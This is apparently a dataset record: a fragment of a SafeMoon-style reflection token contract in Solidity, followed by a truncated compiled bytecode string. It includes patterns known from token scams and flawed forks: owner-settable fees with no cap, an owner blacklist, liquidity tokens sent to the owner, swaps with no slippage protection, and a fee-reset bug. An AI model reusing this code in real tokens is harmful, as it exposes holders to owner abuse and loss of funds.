event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[owner()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function blackList(address _user) public onlyOwner {
require(!isBlacklisted[_user], "user already blacklisted");
isBlacklisted[_user] = true;
// emit events as well
}
function removeFromBlacklist(address _user) public onlyOwner {
require(isBlacklisted[_user], "user already whitelisted");
isBlacklisted[_user] = false;
// emit events as well
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setCharityFeePercent(uint256 charityFee) external onlyOwner() {
_charityFee = charityFee;
}
function setMaxAmount(uint256 maxAmount) external onlyOwner() {
_maxTxAmount = maxAmount;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tCharity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tCharity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tCharity = calculateCharityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tCharity);
return (tTransferAmount, tFee, tLiquidity, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rCharity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[_charityWalletAddress] = _rOwned[_charityWalletAddress].add(rCharity);
if(_isExcluded[_charityWalletAddress])
_tOwned[_charityWalletAddress] = _tOwned[_charityWalletAddress].add(tCharity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateCharityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_charityFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousCharityFee = _charityFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_charityFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_charityFee = _previousCharityFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | 0x6080604052600436106102345760003560e01c80634fe47f701161012e5780638ee88c53116100ab578063c49b9a801161006f578063c49b9a8014610882578063d543dbeb146108ab578063dd62ed3e146108d4578063ea2f0b3714610911578063f2fde38b1461093a5761023b565b80638ee88c531461078b57806395d89b41146107b4578063a457c2d7146107df578063a9059cbb1461081c578063af41063b146108595761023b565b806370a08231116100f257806370a08231146106a4578063715018a6146106e15780637d1db4a5146106f857806388f82020146107235780638da5cb5b146107605761023b565b80634fe47f70146105c157806352390c02146105ea5780635342acb414610613578063537df3b6146106505780636bc87c3a146106795761023b565b80633685d419116101bc578063437823ec11610180578063437823ec146104dc5780634549b039146105055780634838d1651461054257806349bd5a5e1461056b5780634a74bb02146105965761023b565b80633685d419146103f757806339509351146104205780633b124fe71461045d5780633bd5d1731461048857806340f8007a146104b15761023b565b80631694505e116102035780631694505e146102fc57806318160ddd1461032757806323b872dd146103525780632d8381191461038f578063313ce567146103cc5761023b565b8063061c82d01461024057806306fdde0314610269578063095ea7b31461029457806313114a9d146102d15761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b5061026760048036038101906102629190614565565b610963565b005b34801561027557600080fd5b5061027e6109e9565b60405161028b91906149fc565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b691906144f8565b610a7b565b6040516102c891906149c6565b60405180910390f35b3480156102dd57600080fd5b506102e6610a99565b6040516102f39190614bfe565b60405180910390f35b34801561030857600080fd5b50610311610aa3565b60405161031e91906149e1565b60405180910390f35b34801561033357600080fd5b5061033c610ac7565b6040516103499190614bfe565b60405180910390f35b34801561035e57600080fd5b50610379600480360381019061037491906144a5565b610ad1565b60405161038691906149c6565b60405180910390f35b34801561039b57600080fd5b506103b660048036038101906103b19190614565565b610baa565b6040516103c39190614bfe565b60405180910390f35b3480156103d857600080fd5b506103e1610c18565b6040516103ee9190614caa565b60405180910390f35b34801561040357600080fd5b5061041e6004803603810190610419919061440b565b610c2f565b005b34801561042c57600080fd5b50610447600480360381019061044291906144f8565b610f65565b60405161045491906149c6565b60405180910390f35b34801561046957600080fd5b50610472611018565b60405161047f9190614bfe565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190614565565b61101e565b005b3480156104bd57600080fd5b506104c661119a565b6040516104d39190614bfe565b60405180910390f35b3480156104e857600080fd5b5061050360048036038101906104fe919061440b565b6111a0565b005b34801561051157600080fd5b5061052c60048036038101906105279190614592565b611277565b6040516105399190614bfe565b60405180910390f35b34801561054e57600080fd5b506105696004803603810190610564919061440b565b6112fd565b005b34801561057757600080fd5b50610580611461565b60405161058d919061494a565b60405180910390f35b3480156105a257600080fd5b506105ab611485565b6040516105b891906149c6565b60405180910390f35b3480156105cd57600080fd5b506105e860048036038101906105e39190614565565b611498565b005b3480156105f657600080fd5b50610611600480360381019061060c919061440b565b61151e565b005b34801561061f57600080fd5b5061063a6004803603810190610635919061440b565b6117b9565b60405161064791906149c6565b60405180910390f35b34801561065c57600080fd5b506106776004803603810190610672919061440b565b61180f565b005b34801561068557600080fd5b5061068e611972565b60405161069b9190614bfe565b60405180910390f35b3480156106b057600080fd5b506106cb60048036038101906106c6919061440b565b611978565b6040516106d89190614bfe565b60405180910390f35b3480156106ed57600080fd5b506106f6611a63565b005b34801561070457600080fd5b5061070d611b9d565b60405161071a9190614bfe565b60405180910390f35b34801561072f57600080fd5b5061074a6004803603810190610745919061440b565b611ba3565b60405161075791906149c6565b60405180910390f35b34801561076c57600080fd5b50610775611bf9565b604051610782919061494a565b60405180910390f35b34801561079757600080fd5b506107b260048036038101906107ad9190614565565b611c22565b005b3480156107c057600080fd5b506107c9611ca8565b6040516107d691906149fc565b60405180910390f35b3480156107eb57600080fd5b50610806600480360381019061080191906144f8565b611d3a565b60405161081391906149c6565b60405180910390f35b34801561082857600080fd5b50610843600480360381019061083e91906144f8565b611e07565b60405161085091906149c6565b60405180910390f35b34801561086557600080fd5b50610880600480360381019061087b9190614565565b611e25565b005b34801561088e57600080fd5b506108a960048036038101906108a49190614538565b611eab565b005b3480156108b757600080fd5b506108d260048036038101906108cd9190614565565b611f7b565b005b3480156108e057600080fd5b506108fb60048036038101906108f69190614465565b612028565b6040516109089190614bfe565b60405180910390f35b34801561091d57600080fd5b506109386004803603810190610933919061440b565b6120af565b005b34801561094657600080fd5b50610961600480360381019061095c919061440b565b612186565b005b61096b61232f565b73ffffffffffffffffffffffffffffffffffffffff16610989611bf9565b73ffffffffffffffffffffffffffffffffffffffff16146109df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d690614b5e565b60405180910390fd5b80600f8190555050565b6060600c80546109f890614eff565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2490614eff565b8015610a715780601f10610a4657610100808354040283529160200191610a71565b820191906000526020600020905b815481529060010190602001808311610a5457829003601f168201915b5050505050905090565b6000610a8f610a8861232f565b8484612337565b6001905092915050565b6000600b54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600954905090565b6000610ade848484612502565b610b9f84610aea61232f565b610b9a856040518060600160405280602881526020016154ad60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b5061232f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286f9092919063ffffffff16565b612337565b600190509392505050565b6000600a54821115610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890614a3e565b60405180910390fd5b6000610bfb6128c4565b9050610c1081846128ef90919063ffffffff16565b915050919050565b6000600e60009054906101000a900460ff16905090565b610c3761232f565b73ffffffffffffffffffffffffffffffffffffffff16610c55611bf9565b73ffffffffffffffffffffffffffffffffffffffff1614610cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca290614b5e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e90614abe565b60405180910390fd5b60005b600780549050811015610f61578173ffffffffffffffffffffffffffffffffffffffff1660078281548110610d7257610d71615036565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610f4e5760076001600780549050610dcd9190614dfb565b81548110610dde57610ddd615036565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660078281548110610e1d57610e1c615036565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007805480610f1457610f13615007565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610f61565b8080610f5990614f31565b915050610d3a565b5050565b600061100e610f7261232f565b846110098560036000610f8361232f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290590919063ffffffff16565b612337565b6001905092915050565b600f5481565b600061102861232f565b9050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ae90614bde565b60405180910390fd5b60006110c28361291b565b505050505050905061111c81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117481600a5461298390919063ffffffff16565b600a8190555061118f83600b5461290590919063ffffffff16565b600b81905550505050565b60115481565b6111a861232f565b73ffffffffffffffffffffffffffffffffffffffff166111c6611bf9565b73ffffffffffffffffffffffffffffffffffffffff161461121c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121390614b5e565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009548311156112be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b590614ade565b60405180910390fd5b816112df5760006112ce8461291b565b5050505050509050809150506112f7565b60006112ea8461291b565b5050505050915050809150505b92915050565b61130561232f565b73ffffffffffffffffffffffffffffffffffffffff16611323611bf9565b73ffffffffffffffffffffffffffffffffffffffff1614611379576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137090614b5e565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd90614b1e565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b7f000000000000000000000000b2d3ece9d9b7d8c39b31426b45b2008e6d20bc9281565b601560019054906101000a900460ff1681565b6114a061232f565b73ffffffffffffffffffffffffffffffffffffffff166114be611bf9565b73ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90614b5e565b60405180910390fd5b8060168190555050565b61152661232f565b73ffffffffffffffffffffffffffffffffffffffff16611544611bf9565b73ffffffffffffffffffffffffffffffffffffffff161461159a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159190614b5e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161e90614a9e565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156116fb576116b7600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610baa565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61181761232f565b73ffffffffffffffffffffffffffffffffffffffff16611835611bf9565b73ffffffffffffffffffffffffffffffffffffffff161461188b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188290614b5e565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611917576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190e90614b3e565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60135481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a1357600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611a5e565b611a5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610baa565b90505b919050565b611a6b61232f565b73ffffffffffffffffffffffffffffffffffffffff16611a89611bf9565b73ffffffffffffffffffffffffffffffffffffffff1614611adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad690614b5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611c2a61232f565b73ffffffffffffffffffffffffffffffffffffffff16611c48611bf9565b73ffffffffffffffffffffffffffffffffffffffff1614611c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9590614b5e565b60405180910390fd5b8060138190555050565b6060600d8054611cb790614eff565b80601f0160208091040260200160405190810160405280929190818152602001828054611ce390614eff565b8015611d305780601f10611d0557610100808354040283529160200191611d30565b820191906000526020600020905b815481529060010190602001808311611d1357829003601f168201915b5050505050905090565b6000611dfd611d4761232f565b84611df8856040518060600160405280602581526020016154d56025913960036000611d7161232f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286f9092919063ffffffff16565b612337565b6001905092915050565b6000611e1b611e1461232f565b8484612502565b6001905092915050565b611e2d61232f565b73ffffffffffffffffffffffffffffffffffffffff16611e4b611bf9565b73ffffffffffffffffffffffffffffffffffffffff1614611ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9890614b5e565b60405180910390fd5b8060118190555050565b611eb361232f565b73ffffffffffffffffffffffffffffffffffffffff16611ed1611bf9565b73ffffffffffffffffffffffffffffffffffffffff1614611f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1e90614b5e565b60405180910390fd5b80601560016101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611f7091906149c6565b60405180910390a150565b611f8361232f565b73ffffffffffffffffffffffffffffffffffffffff16611fa1611bf9565b73ffffffffffffffffffffffffffffffffffffffff1614611ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fee90614b5e565b60405180910390fd5b61201f60646120118360095461299990919063ffffffff16565b6128ef90919063ffffffff16565b60168190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6120b761232f565b73ffffffffffffffffffffffffffffffffffffffff166120d5611bf9565b73ffffffffffffffffffffffffffffffffffffffff161461212b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212290614b5e565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61218e61232f565b73ffffffffffffffffffffffffffffffffffffffff166121ac611bf9565b73ffffffffffffffffffffffffffffffffffffffff1614612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f990614b5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226990614a5e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff